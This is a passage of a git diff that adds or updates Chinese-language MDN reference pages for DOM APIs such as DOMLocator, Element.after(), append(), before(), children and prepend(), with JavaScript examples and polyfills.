diff options
Diffstat (limited to 'files/zh-cn/web')
46 files changed, 6218 insertions, 5 deletions
diff --git a/files/zh-cn/web/api/domlocator/index.html b/files/zh-cn/web/api/domlocator/index.html new file mode 100644 index 0000000000..77ad2f17bb --- /dev/null +++ b/files/zh-cn/web/api/domlocator/index.html @@ -0,0 +1,51 @@ +--- +title: DOMLocator +slug: orphaned/Web/API/DOMLocator +translation_of: Web/API/DOMLocator +original_slug: Web/API/DOMLocator +--- +<p>{{APIRef("DOM")}}{{obsolete_header}}</p> + +<div class="warning"> +<p>NOTE: This is not implemented in Mozilla</p> +</div> + +<p>Indicates a location such as where an error occurred. Returned by DOMError.location.</p> + +<h2 id="Properties">Properties</h2> + +<dl> + <dt>{{domxref("DOMLocator.lineNumber")}} {{ReadOnlyInline}}</dt> + <dd>Returns a positiove integer or -1.</dd> + <dt>{{domxref("DOMLocator.columnNumber")}} {{ReadOnlyInline}}</dt> + <dd>Returns a positiove integer or -1.</dd> + <dt>{{domxref("DOMLocator.byteOffset")}} {{ReadOnlyInline}}</dt> + <dd>Returns a positiove integer or -1.</dd> + <dt>{{domxref("DOMLocator.utf16Offset")}} {{ReadOnlyInline}}</dt> + <dd>Returns a positiove integer or -1.</dd> + <dt>{{domxref("DOMLocator.relatedNode")}} {{ReadOnlyInline}}</dt> + <dd>Returns a positiove integer or -1.</dd> + <dt>{{domxref("DOMLocator.uri")}} {{ReadOnlyInline}}</dt> + <dd>Returns a positiove integer or -1.</dd> +</dl> + +<h2 id="Methods">Methods</h2> + +<p><em>This interface neither implements, nor inherits, any method.</em></p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName("DOM3 Core", "core.html#Interfaces-DOMLocator", "DOMLocator")}}</td> + <td>{{Spec2("DOM3 Core")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table>
\ No newline at end of file diff --git a/files/zh-cn/web/api/element/after/index.html b/files/zh-cn/web/api/element/after/index.html new file mode 100644 index 0000000000..76792e7638 --- /dev/null +++ b/files/zh-cn/web/api/element/after/index.html @@ -0,0 +1,176 @@ +--- +title: ChildNode.after() +slug: orphaned/Web/API/ChildNode/after +translation_of: Web/API/ChildNode/after +original_slug: Web/API/ChildNode/after +--- +<div>{{APIRef("DOM")}}</div> + +<p><strong><code>ChildNode.after()</code> </strong>方法会在其父节点的子节点列表中插入一些<font face="Consolas, Liberation Mono, Courier, monospace"> </font>{{domxref("Node")}} 或<font face="Consolas, Liberation Mono, Courier, monospace"> </font>{{domxref("DOMString")}} 对象。插入位置为该节点之后。{{domxref("DOMString")}} 对象会被以<font face="Consolas, Liberation Mono, Courier, monospace"> </font>{{domxref("Text")}} 的形式插入。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox notranslate">[Throws, Unscopable] +void ChildNode.after((Node or DOMString)... nodes); +</pre> + +<h3 id="参数">参数</h3> + +<dl> + <dt><code>nodes</code></dt> + <dd>一组准备插入的 {{domxref("Node")}} 或 {{domxref("DOMString")}} 。</dd> +</dl> + +<h3 id="错误">错误</h3> + +<ul> + <li>{{domxref("HierarchyRequestError")}}: 在某些不正确的层级结构进行了插入操作。</li> +</ul> + +<h2 id="示例">示例</h2> + +<h3 id="插入元素">插入元素</h3> + +<pre class="brush: js notranslate">var parent = document.createElement("div"); +var child = document.createElement("p"); +parent.appendChild(child); +var span = document.createElement("span"); + +child.after(span); + +console.log(parent.outerHTML); +// "<div><p></p><span></span></div>" +</pre> + +<h3 id="插入文本">插入文本</h3> + +<pre class="brush: js notranslate">var parent = document.createElement("div"); +var child = document.createElement("p"); +parent.appendChild(child); + +child.after("Text"); + +console.log(parent.outerHTML); +// "<div><p></p>Text</div>"</pre> + +<h3 id="同时插入元素和文本">同时插入元素和文本</h3> + +<pre class="brush: js notranslate">var parent = document.createElement("div"); +var child = document.createElement("p"); +parent.appendChild(child); +var span = document.createElement("span"); + +child.after(span, "Text"); + +console.log(parent.outerHTML); +// "<div><p></p><span></span>Text</div>"</pre> + +<h3 id="ChildNode.after_会被_with_环境排除"><code>ChildNode.after()</code> 会被 with 环境排除</h3> + +<p><code>after()</code> 方法不在 <code>with 环境的范围内,可以查看</code> {{jsxref("Symbol.unscopables")}} 来了解更多信息。</p> + +<pre class="brush: js notranslate">with(node) { + after("foo"); +} +// ReferenceError: after is not defined </pre> + +<h2 id="Polyfill">Polyfill</h2> + +<p>You can polyfill the <code>after()</code> method in Internet Explorer 9 and higher with the following code:</p> + +<pre class="brush: js notranslate">// from: https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/after()/after().md +(function (arr) { + arr.forEach(function (item) { + if (item.hasOwnProperty('after')) { + return; + } + Object.defineProperty(item, 'after', { + configurable: true, + enumerable: true, + writable: true, + value: function after() { + var argArr = Array.prototype.slice.call(arguments), + docFrag = document.createDocumentFragment(); + + argArr.forEach(function (argItem) { + var isNode = argItem instanceof Node; + docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem))); + }); + + this.parentNode.insertBefore(docFrag, this.nextSibling); + } + }); + }); +})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);</pre> + +<h3 id="Another_polyfill">Another polyfill</h3> + +<pre class="brush: js notranslate">// from: https://github.com/FabioVergani/js-Polyfill_Element.prototype.after/blob/master/after.js + +(function(x){ + var o=x.prototype,p='after'; + if(!o[p]){ + o[p]=function(){ + var e, m=arguments, l=m.length, i=0, t=this, p=t.parentNode, n=Node, s=String, d=document; + if(p!==null){ + while(i<l){ + e=m[i]; + if(e instanceof n){ + t=t.nextSibling; + if(t!==null){ + p.insertBefore(e,t); + }else{ + p.appendChild(e); + }; + }else{ + p.appendChild(d.createTextNode(s(e))); + }; + ++i; + }; + }; + }; + }; +})(Element); + + + +/* +minified: + +(function(x){ + var o=x.prototype; + o.after||(o.after=function(){var e,m=arguments,l=m.length,i=0,t=this,p=t.parentNode,n=Node,s=String,d=document;if(p!==null){while(i<l){((e=m[i]) instanceof n)?(((t=t.nextSibling )!==null)?p.insertBefore(e,t):p.appendChild(e)):p.appendChild(d.createTextNode(s(e)));++i;}}}); +}(Element)); +*/</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-childnode-after', 'ChildNode.after()')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{Compat("api.ChildNode.after")}}</p> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li>{{domxref("ChildNode")}} 和 {{domxref("ParentNode")}}</li> + <li>{{domxref("ChildNode.before()")}}</li> + <li>{{domxref("ParentNode.append()")}}</li> + <li>{{domxref("Node.appendChild()")}}</li> + <li>{{domxref("Element.insertAdjacentElement()")}}</li> + <li>{{domxref("NodeList")}}</li> +</ul> diff --git a/files/zh-cn/web/api/element/append/index.html b/files/zh-cn/web/api/element/append/index.html new file mode 100644 index 0000000000..00d22e2232 --- /dev/null +++ b/files/zh-cn/web/api/element/append/index.html @@ -0,0 +1,148 @@ +--- +title: Element.append() +slug: Web/API/Element/append +translation_of: Web/API/Element/append +tags: + - API + - DOM + - Method + - Node + - Element + - Reference +browser-compat: api.Element.append +--- +<div>{{APIRef("DOM")}}</div> + +<div> <strong><code>Element.append</code></strong> 方法在 <code>Element</code>的最后一个子节点之后插入一组 {{domxref("Node")}} 对象或 {{domxref("DOMString")}} 对象。</div> + +<div>被插入的 {{domxref("DOMString")}} 对象等价为 {{domxref("Text")}} 节点。</div> + +<div></div> + +<div>与 {{domxref("Node.appendChild()")}} 的差异:</div> + +<div></div> + +<ul> + <li><code>Element.append()</code>允许追加 {{domxref("DOMString")}} 对象,而<code><font face="Open Sans, Arial, sans-serif"> </font>Node.appendChild()</code> 只接受 {{domxref("Node")}} 对象。</li> + <li><code>Element.append()</code> <a href="https://repl.it/FgPh/1">没有返回值</a>,而 <code>Node.appendChild()</code> 返回追加的 {{domxref("Node")}} 对象。</li> + <li><code>Element.append()</code> 可以追加多个节点和字符串,而 <code>Node.appendChild()</code> 只能追加一个节点。</li> +</ul> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">[Throws, Unscopable] +void Element.append((Node or DOMString)... nodes); +</pre> + +<h3 id="参数">参数</h3> + +<dl> + <dt><code>nodes</code></dt> + <dd>一组要插入的 {{domxref("Node")}} 或 {{domxref("DOMString")}} 对象。</dd> +</dl> + +<h3 id="异常">异常</h3> + +<ul> + <li>{{domxref("HierarchyRequestError")}}: 在层次结构中的指定点不能插入节点。</li> +</ul> + +<h2 id="示例">示例</h2> + +<h3 id="插入一个元素节点">插入一个元素节点</h3> + +<pre class="brush: js">var parent = document.createElement("div"); +var p = document.createElement("p"); +parent.append(p); + +console.log(parent.childNodes); // NodeList [ <p> ] +</pre> + +<h3 id="插入文本">插入文本</h3> + +<pre class="brush: js">var parent = document.createElement("div"); +parent.append("Some text"); + +console.log(parent.textContent); // "Some text"</pre> + +<h3 id="插入一个节点,同时插入一些文本">插入一个节点,同时插入一些文本</h3> + +<pre class="brush: js">var parent = document.createElement("div"); +var p = document.createElement("p"); +parent.append("Some text", p); + +console.log(parent.childNodes); // NodeList [ #text "Some text", <p> ]</pre> + +<h3 id="Element.append_方法在_with_语句中不生效"><code>Element.append()</code> 方法在 with 语句中不生效</h3> + +<p>为了保证向后兼容,append 方法在 with 语句中会被特殊处理,详情请看 {{jsxref("Symbol.unscopables")}}。</p> + +<pre class="brush: js">var parent = document.createElement("div"); + +with(parent) { + append("foo"); +} +// ReferenceError: append is not defined </pre> + +<h2 id="Polyfill">Polyfill</h2> + +<p>下面的 Polyfill 只支持到 IE 9 及以上:</p> + +<pre class="brush: js">// Source: https://github.com/jserz/js_piece/blob/master/DOM/Element/append()/append().md +(function (arr) { + arr.forEach(function (item) { + if (item.hasOwnProperty('append')) { + return; + } + Object.defineProperty(item, 'append', { + configurable: true, + enumerable: true, + writable: true, + value: function append() { + var argArr = Array.prototype.slice.call(arguments), + docFrag = document.createDocumentFragment(); + + argArr.forEach(function (argItem) { + var isNode = argItem instanceof Node; + docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem))); + }); + + this.appendChild(docFrag); + } + }); + }); +})([Element.prototype, Document.prototype, DocumentFragment.prototype]);</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-Element-append', 'Element.append()')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容">浏览器兼容</h2> + + + +<p>{{Compat("api.Element.append")}}</p> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li>{{domxref("Element")}} and {{domxref("ChildNode")}}</li> + <li>{{domxref("Element.prepend()")}}</li> + <li>{{domxref("Node.appendChild()")}}</li> + <li>{{domxref("ChildNode.after()")}}</li> + <li>{{domxref("NodeList")}}</li> +</ul> diff --git a/files/zh-cn/web/api/element/before/index.html b/files/zh-cn/web/api/element/before/index.html new file mode 100644 index 0000000000..add3dab015 --- /dev/null +++ b/files/zh-cn/web/api/element/before/index.html @@ -0,0 +1,188 @@ +--- +title: ChildNode.before() +slug: orphaned/Web/API/ChildNode/before +tags: + - api、dom、节点、方法 +translation_of: Web/API/ChildNode/before +original_slug: Web/API/ChildNode/before +--- +<div>{{APIRef("DOM")}} {{SeeCompatTable}}</div> + +<p> <code><strong>ChildNode</strong></code><strong><code>.before</code></strong> 方法可以在<code>ChildNode这个节点的父节点中插入一些列的</code> {{domxref("Node")}} 或者 {{domxref("DOMString")}} 对象,位置就是在<code>ChildNode节点的前面,</code>{{domxref("DOMString")}} 对象其实和 {{domxref("Text")}}节点一样的方式来完成插入的。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">[Throws, Unscopable] +void ChildNode.before((Node or DOMString)... nodes); +</pre> + +<h3 id="Parameters参数">Parameters参数</h3> + +<dl> + <dt><code>nodes</code></dt> + <dd>一系列的 {{domxref("Node")}} 或者 {{domxref("DOMString")}} </dd> +</dl> + +<h3 id="Exceptions">Exceptions</h3> + +<ul> + <li>{{domxref("HierarchyRequestError")}}: 当节点插入了错误的层级就会出现报错,需要遵循html标签的层级关系,</li> +</ul> + +<h2 id="Examples事例">Examples事例</h2> + +<h3 id="Inserting_an_element插入元素节点">Inserting an element插入元素节点</h3> + +<pre class="brush: js">var parent = document.createElement("div"); +var child = document.createElement("p"); +parent.appendChild(child); +var span = document.createElement("span"); + +child.before(span); + +console.log(parent.outerHTML); +// "<div><span></span><p></p></div>" +</pre> + +<h3 id="Inserting_text插入文本节点">Inserting text插入文本节点</h3> + +<pre class="brush: js">var parent = document.createElement("div"); +var child = document.createElement("p"); +parent.appendChild(child); + +child.before("Text"); + +console.log(parent.outerHTML); +// "<div>Text<p></p></div>"</pre> + +<h3 id="Inserting_an_element_and_text同时插入文本和元素">Inserting an element and text同时插入文本和元素</h3> + +<pre class="brush: js">var parent = document.createElement("div"); +var child = document.createElement("p"); +parent.appendChild(child); +var span = document.createElement("span"); + +child.before(span, "Text"); + +console.log(parent.outerHTML); +// "<div><span></span>Text<p></p></div>"</pre> + +<h3 id="ChildNode.before()_is_unscopable不可使用区域"><code>ChildNode.before()</code> is unscopable不可使用区域</h3> + +<p>The <code>before()</code> 不能配合with声明使用,See {{jsxref("Symbol.unscopables")}} for more information.</p> + +<pre class="brush: js">with(node) { + before("foo"); +} +// ReferenceError: before is not defined </pre> + +<h2 id="Polyfill">Polyfill</h2> + +<p>兼容ie9或者更高版本的方法,You can polyfill the <code>before() method</code> in Internet Explorer 9 and higher with the following code:</p> + +<pre class="brush: js">// from: https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/before()/before().md +(function (arr) { + arr.forEach(function (item) { + if (item.hasOwnProperty('before')) { + return; + } + Object.defineProperty(item, 'before', { + configurable: true, + enumerable: true, + writable: true, + value: function before() { + var argArr = Array.prototype.slice.call(arguments), + docFrag = document.createDocumentFragment(); + + argArr.forEach(function (argItem) { + var isNode = argItem instanceof Node; + docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem))); + }); + + this.parentNode.insertBefore(docFrag, this); + } + }); + }); +})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);</pre> + +<h2 id="Specification">Specification</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-childnode-before', 'ChildNode.before()')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome(54.0)}}</td> + <td>{{CompatGeckoDesktop(49)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatOpera(39)}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Android Webview</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome(54.0)}}</td> + <td>{{CompatGeckoMobile(49)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatOpera(39)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatChrome(54.0)}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{domxref("ChildNode")}} and {{domxref("ParentNode")}}</li> + <li>{{domxref("ChildNode.after()")}}</li> + <li>{{domxref("ParentNode.append()")}}</li> + <li>{{domxref("Node.appendChild()")}}</li> + <li>{{domxref("Node.insertBefore()")}}</li> + <li>{{domxref("NodeList")}}</li> +</ul> diff --git a/files/zh-cn/web/api/element/childelementcount/index.html b/files/zh-cn/web/api/element/childelementcount/index.html index 11a680d8a0..8981c4ad50 100644 --- a/files/zh-cn/web/api/element/childelementcount/index.html +++ b/files/zh-cn/web/api/element/childelementcount/index.html @@ -1,15 +1,20 @@ --- -title: ParentNode.childElementCount +title: Element.childElementCount slug: Web/API/Element/childElementCount -translation_of: Web/API/ParentNode/childElementCount -original_slug: Web/API/ParentNode/childElementCount +translation_of: Web/API/Element/childElementCount +tags: + - API + - DOM + - Property + - Reference +browser-compat: api.Element.childElementCount --- <p>{{ APIRef("DOM") }} </p> -<p> <code><strong>ParentNode.childElementCount </strong></code>只读属性返回一个<em><strong>无符号长整型数字</strong></em>,表示给定元素的子元素数。</p> +<p> <code><strong>Element.childElementCount </strong></code>只读属性返回一个<em><strong>无符号长整型数字</strong></em>,表示给定元素的子元素数。</p> <div class="note"> -<p>This property was initially defined in the {{domxref("ElementTraversal")}} pure interface. As this interface contained two distinct set of properties, one aimed at {{domxref("Node")}} that have children, one at those that are children, they have been moved into two separate pure interfaces, {{domxref("ParentNode")}} and {{domxref("ChildNode")}}. In this case, <code>childElementCount</code> moved to {{domxref("ParentNode")}}. This is a fairly technical change that shouldn't affect compatibility.</p> +<p>This property was initially defined in the {{domxref("ElementTraversal")}} pure interface. As this interface contained two distinct set of properties, one aimed at {{domxref("Node")}} that have children, one at those that are children, they have been moved into two separate pure interfaces, {{domxref("Element")}} and {{domxref("ChildNode")}}. In this case, <code>childElementCount</code> moved to {{domxref("Element")}}. This is a fairly technical change that shouldn't affect compatibility.</p> </div> <p> </p> diff --git a/files/zh-cn/web/api/element/children/index.html b/files/zh-cn/web/api/element/children/index.html new file mode 100644 index 0000000000..9690827104 --- /dev/null +++ b/files/zh-cn/web/api/element/children/index.html @@ -0,0 +1,123 @@ +--- +title: Element.children +slug: Web/API/Element/children +translation_of: Web/API/Element/children +tags: + - API + - DOM + - Element + - HTMLCollection + - Property + - children +browser-compat: api.Element.children +--- +<p>{{ APIRef("DOM") }}</p> + +<p><code><strong>Element.children </strong></code>是一个只读属性,返回 一个Node的子{{domxref("Element","elements")}} ,是一个动态更新的 {{domxref("HTMLCollection")}}。</p> + +<h2 id="Syntax_and_values" name="Syntax_and_values">语法</h2> + +<pre>var <em>children</em> = <em>node</em>.children;</pre> + +<pre class="eval">var <em>elList</em> = elementNodeReference.children; +</pre> + +<h2 id="Notes" name="Notes">备注</h2> + +<p><code>children</code> 属性为只读属性,对象类型为 {{ domxref("HTMLCollection") }},你可以使用 <code>elementNodeReference.children[1].nodeName</code> 来获取某个子元素的标签名称。</p> + +<h2 id="Example" name="Example">例子</h2> + +<pre class="brush: js">// parg是一个指向<p>元素的对象引用 +if (parg.childElementCount) +// 检查这个<p>元素是否有子元素 +// 译者注:childElementCount有兼容性问题 + { + var children = parg.children; + for (var i = 0; i < children.length; i++) + { + // 通过children[i]来获取每个子元素 + // 注意:List是一个live的HTMLCollection对象,在这里添加或删除parg的子元素节点,都会立即改变List的值. + }; + }; +</pre> + +<h2 id="规范" style="margin-bottom: 20px; line-height: 30px;">规范</h2> + +<p> </p> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-Element-children', 'Element.children')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>1</td> + <td>3.5</td> + <td>9 (IE6-8 incl commend nodes)</td> + <td>10</td> + <td>4</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}<span style="font-size: 14px; line-height: 1.5;"></span></td> + </tr> + </tbody> +</table> +</div> + +<p style="margin-bottom: 20px; line-height: 30px;">[1] Internet Explorer 6 - 8 支持该属性,但是可能会错误地包含注释 {{domxref("Comment")}} 节点。</p> + +<h2 id="相关链接" style="margin-bottom: 20px; line-height: 30px;">相关链接</h2> + +<ul> + <li>The {{domxref("Element")}} and {{domxref("ChildNode")}} pure interfaces.</li> + <li> + <div class="syntaxbox">Object types implementing this pure interface: {{domxref("Document")}}, {{domxref("Element")}}, and {{domxref("DocumentFragment")}}.</div> + </li> +</ul> diff --git a/files/zh-cn/web/api/element/firstelementchild/index.html b/files/zh-cn/web/api/element/firstelementchild/index.html new file mode 100644 index 0000000000..dbbc7868e1 --- /dev/null +++ b/files/zh-cn/web/api/element/firstelementchild/index.html @@ -0,0 +1,101 @@ +--- +title: Element.firstElementChild +slug: Web/API/Element/firstElementChild +translation_of: Web/API/Element/firstElementChild +tags: + - API + - DOM + - Element + - Property +browser-compat: api.Element.firstElementChild +--- +<p>{{ APIRef("DOM") }}</p> + +<p><strong><code>Element.firstElementChild</code></strong> 只读属性,返回对象的第一个子 {{domxref("元素")}}, 如果没有子元素,则为null。</p> + +<div class="note"> +<p><span>他的属性最初是在{{domxref("element遍历")}}纯接口中定义的。由于这个接口包含两组不同的属性,一个针对具有子元素的{{domxref("Node")}},一个针对子元素的属性,因此它们被移动到两个单独的纯接口中,{{domxref("Element")}}和{{domxref("ChildNode")}}。在本例中,firstElementChild移动到{{domxref("Element")}}。这是一个相当技术性的更改,不应该影响兼容性。</span></p> +</div> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">var <em>element</em> = node.firstElementChild; +</pre> + +<h2 id="例子">例子</h2> + +<pre class="brush: html"><ul id="foo"> + <li>First (1)</li> + <li>Second (2)</li> + <li>Third (3)</li> +</ul> + +<script> +var foo = document.getElementById('foo'); +// yields: First (1) +console.log(foo.firstElementChild.textContent); +</script> +</pre> + +<h2 id="适用于_IE8、IE9_和_Safari_的_Polyfill">适用于 IE8、IE9 和 Safari 的 Polyfill</h2> + +<pre><code>// Overwrites native 'firstElementChild' prototype. +// Adds Document & DocumentFragment support for IE9 & Safari. +// Returns array instead of HTMLCollection. +;(function(constructor) { + if (constructor && + constructor.prototype && + constructor.prototype.firstElementChild == null) { + Object.defineProperty(constructor.prototype, 'firstElementChild', { + get: function() { + var node, nodes = this.childNodes, i = 0; + while (node = nodes[i++]) { + if (node.nodeType === 1) { + return node; + } + } + return null; + } + }); + } +})(window.Node || window.Element);</code></pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-Element-firstelementchild', 'Element.firstElementChild')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Splitted the <code>ElementTraversal</code>interface in {{domxref("ChildNode")}} and <code>Element</code>. This method is now defined on the latter.<br> + The {{domxref("Document")}} and {{domxref("DocumentFragment")}} implemented the new interfaces.</td> + </tr> + <tr> + <td>{{SpecName('Element Traversal', '#attribute-firstElementChild', 'ElementTraversal.firstElementChild')}}</td> + <td>{{Spec2('Element Traversal')}}</td> + <td>Added its initial definition to the<code>ElementTraversal</code> pure interface and use it on {{domxref("Element")}}.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.Element.firstElementChild")}}</p> + +<h2 id="参见">参见</h2> + +<h2 id="Ed"><a class="button section-edit only-icon" href="https://developer.mozilla.org/zh-CN/docs/Web/API/Element/lastElementChild$edit#参见" rel="nofollow, noindex"><span>Ed</span></a></h2> + +<ul> + <li>纯接口 {{domxref("Element")}} 和 {{domxref("ChildNode")}}。</li> + <li> + <div class="syntaxbox">实现了此纯接口的对象类型:{{domxref("Document")}}、{{domxref("Element")}},和 {{domxref("DocumentFragment")}}。</div> + </li> +</ul> diff --git a/files/zh-cn/web/api/element/lastelementchild/index.html b/files/zh-cn/web/api/element/lastelementchild/index.html new file mode 100644 index 0000000000..21a33fd6b6 --- /dev/null +++ b/files/zh-cn/web/api/element/lastelementchild/index.html @@ -0,0 +1,99 @@ +--- +title: Element.lastElementChild +slug: Web/API/Element/lastElementChild +translation_of: Web/API/Element/lastElementChild +tags: + - API + - DOM + - Element + - Property +browser-compat: api.Element.lastElementChild +--- +<p>{{ APIRef("DOM") }}</p> + +<p>只读属性 <code><strong>Element.lastElementChild</strong></code> 返回对象的最后一个子{{domxref("Element", "元素")}},如果没有子元素,则返回 <code>null</code>。</p> + +<div class="note"> +<p>This property was initially defined in the {{domxref("ElementTraversal")}} pure interface. As this interface contained two distinct set of properties, one aimed at {{domxref("Node")}} that have children, one at those that are children, they have been moved into two separate pure interfaces, {{domxref("Element")}} and {{domxref("ChildNode")}}. In this case, <code>lastElementChild</code> moved to {{domxref("Element")}}. This is a fairly technical change that shouldn't affect compatibility.</p> +</div> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">var <em>element</em> = node.lastElementChild; </pre> + +<h2 id="例子">例子</h2> + +<pre class="brush: html"><ul id="foo"> + <li>First (1)</li> + <li>Second (2)</li> + <li>Third (3)</li> +</ul> + +<script> +var foo = document.getElementById('foo'); +// yields: Third (3) +console.log(foo.lastElementChild.textContent); +</script> +</pre> + +<h2 id="适用于_IE8、IE9_和_Safari_的_Polyfill">适用于 IE8、IE9 和 Safari 的 Polyfill</h2> + +<pre class="brush: js">// Overwrites native 'lastElementChild' prototype. +// Adds Document & DocumentFragment support for IE9 & Safari. +// Returns array instead of HTMLCollection. +;(function(constructor) { + if (constructor && + constructor.prototype && + constructor.prototype.lastElementChild == null) { + Object.defineProperty(constructor.prototype, 'lastElementChild', { + get: function() { + var node, nodes = this.childNodes, i = nodes.length - 1; + while (node = nodes[i--]) { + if (node.nodeType === 1) { + return node; + } + } + return null; + } + }); + } +})(window.Node || window.Element); +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-Element-lastelementchild', 'Element.lastElementChild')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Splitted the <code>ElementTraversal</code> interface in {{domxref("ChildNode")}} and <code>Element</code>. This method is now defined on the latter.<br> + The {{domxref("Document")}} and {{domxref("DocumentFragment")}} implemented the new interfaces.</td> + </tr> + <tr> + <td>{{SpecName('Element Traversal', '#attribute-lastElementChild', 'ElementTraversal.lastElementChild')}}</td> + <td>{{Spec2('Element Traversal')}}</td> + <td>Added its initial definition to the <code>ElementTraversal</code> pure interface and use it on {{domxref("Element")}}.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.Element.lastElementChild")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>纯接口 {{domxref("Element")}} 和 {{domxref("ChildNode")}}。</li> + <li> + <div class="syntaxbox">实现了此纯接口的对象类型:{{domxref("Document")}}、{{domxref("Element")}},和 {{domxref("DocumentFragment")}}。</div> + </li> +</ul> diff --git a/files/zh-cn/web/api/element/prepend/index.html b/files/zh-cn/web/api/element/prepend/index.html new file mode 100644 index 0000000000..eb7edc31cd --- /dev/null +++ b/files/zh-cn/web/api/element/prepend/index.html @@ -0,0 +1,134 @@ +--- +title: Element.prepend() +slug: Web/API/Element/prepend +translation_of: Web/API/Element/prepend +tags: + - API + - DOM + - Method + - Node + - Element + - Reference + - prepend +browser-compat: api.Element.prepend +--- +<div>{{APIRef("DOM")}}</div> + +<p><strong><code>Element.prepend</code></strong> 方法可以在父节点的第一个子节点之前插入一系列{{domxref("Node")}}对象或者{{domxref("DOMString")}}对象。{{domxref("DOMString")}}会被当作{{domxref("Text")}}节点对待(也就是说插入的不是HTML代码)。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Element.prepend((Node or DOMString)... nodes); +</pre> + +<h3 id="参数">参数</h3> + +<dl> + <dt><code>nodes</code></dt> + <dd>要插入的一系列{{domxref("Node")}}或者{{domxref("DOMString")}}。</dd> +</dl> + +<h3 id="返回值">返回值</h3> + +<p><code>undefined</code>.</p> + +<h3 id="错误">错误</h3> + +<ul> + <li>{{domxref("HierarchyRequestError")}}:节点不能插入当前层级内。</li> +</ul> + +<h2 id="例子">例子</h2> + +<h3 id="Prepending_an_element">Prepending an 